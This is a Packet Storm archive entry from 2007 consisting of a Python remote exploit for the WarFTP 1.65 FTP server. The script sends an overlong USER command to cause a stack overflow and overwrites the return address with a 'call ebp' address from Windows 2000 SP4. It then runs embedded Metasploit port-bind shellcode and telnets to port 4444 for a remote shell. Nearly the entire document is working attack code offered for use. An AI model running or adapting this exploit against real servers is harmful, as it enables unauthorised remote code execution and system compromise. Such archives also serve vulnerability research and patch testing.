warftp-1.txt

2007-03-20T00:00:00
ID PACKETSTORM:55185
Type packetstorm
Reporter Winny Thomas
Modified 2007-03-20T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# Remote exploit for WarFTP 1.65. Tested on Windows 2000 server SP4 inside  
# VMware. A trivially exploitable stack overflow is present in WarFTP which  
# can be triggered by sending a long username (>480 bytes) along with the USER  
# ftp command. Maybe other commands like PASS might also be affected. I did  
# not check though. This exploit binds shell on TCP port 4444 and then  
# connects to it  
#  
# Author shall not bear any responsibility for any screw ups  
# Winny Thomas :-)  
  
import os  
import sys  
import time  
import socket  
import struct  
  
# alphanumeric portbind shellcode from metasploit  
shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
shellcode += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
shellcode += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
shellcode += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
shellcode += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"  
shellcode += "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x58"  
shellcode += "\x4e\x56\x46\x42\x46\x42\x4b\x58\x45\x54\x4e\x53\x4b\x48\x4e\x57"  
shellcode += "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x38"  
shellcode += "\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x58"  
shellcode += "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"  
shellcode += "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"  
shellcode += "\x46\x4f\x4b\x53\x46\x35\x46\x52\x4a\x42\x45\x57\x45\x4e\x4b\x48"  
shellcode += "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x46\x4b\x38\x4e\x50\x4b\x54"  
shellcode += "\x4b\x48\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x30\x4e\x32\x4b\x58"  
shellcode += "\x49\x48\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x53\x4b\x4d"  
shellcode += "\x46\x56\x4b\x38\x43\x54\x42\x43\x4b\x58\x42\x44\x4e\x30\x4b\x38"  
shellcode += "\x42\x47\x4e\x41\x4d\x4a\x4b\x58\x42\x44\x4a\x30\x50\x55\x4a\x56"  
shellcode += "\x50\x48\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x36"  
shellcode += "\x43\x45\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x46\x47\x37\x43\x57"  
shellcode += "\x44\x33\x4f\x35\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"  
shellcode += "\x4e\x4f\x4b\x53\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e"  
shellcode += "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x36\x44\x30"  
shellcode += "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x35"  
shellcode += "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x55\x43\x45\x43\x35\x43\x34"  
shellcode += "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x36\x41\x41"  
shellcode += "\x4e\x45\x48\x36\x43\x45\x49\x58\x41\x4e\x45\x39\x4a\x56\x46\x4a"  
shellcode += "\x4c\x31\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x31"  
shellcode += "\x41\x55\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42"  
shellcode += "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"  
shellcode += "\x4a\x36\x45\x4e\x49\x54\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"  
shellcode += "\x42\x55\x46\x35\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x56"  
shellcode += "\x47\x4e\x49\x47\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x45"  
shellcode += "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x56\x48\x36\x4a\x46\x43\x46"  
shellcode += "\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x35\x49\x55\x49\x52\x4e\x4c"  
shellcode += "\x49\x38\x47\x4e\x4c\x56\x46\x54\x49\x58\x44\x4e\x41\x53\x42\x4c"  
shellcode += "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x34\x4e\x32"  
shellcode += "\x43\x49\x4d\x48\x4c\x47\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36"  
shellcode += "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x57\x46\x34\x4f\x4f"  
shellcode += "\x48\x4d\x4b\x45\x47\x55\x44\x55\x41\x45\x41\x35\x41\x55\x4c\x36"  
shellcode += "\x41\x30\x41\x35\x41\x55\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56"  
shellcode += "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x35\x4f\x4f\x48\x4d\x4c\x56"  
shellcode += "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x38\x47\x55\x4e\x4f"  
shellcode += "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"  
shellcode += "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x55\x4f\x4f\x48\x4d"  
shellcode += "\x4f\x4f\x42\x4d\x5a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
  
def ConnectRemoteShell(target):  
connect = "/usr/bin/telnet " + target + " 4444"  
os.system(connect)  
  
def ExploitFTP(target):  
sockAddr = (target, 21)  
tsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
tsock.connect(sockAddr)  
response = tsock.recv(1024)  
  
# At the time of overflow EBP points to our shellcode  
payload = "USER "  
payload += "A" * 485  
# Point of EIP overwrite. Address of 'call ebp' from user32.dll SP4.  
payload += struct.pack("<L", 0x77E14709)  
payload += "\x90" * 100  
payload += shellcode  
payload += "\r\n"  
tsock.send(payload)  
  
if __name__ == '__main__':  
try:  
target = sys.argv[1]  
except IndexError:  
print 'Usage: %s <target>' % sys.argv[0]  
sys.exit(-1)  
  
ExploitFTP(target)  
time.sleep(2)  
ConnectRemoteShell(target)  
`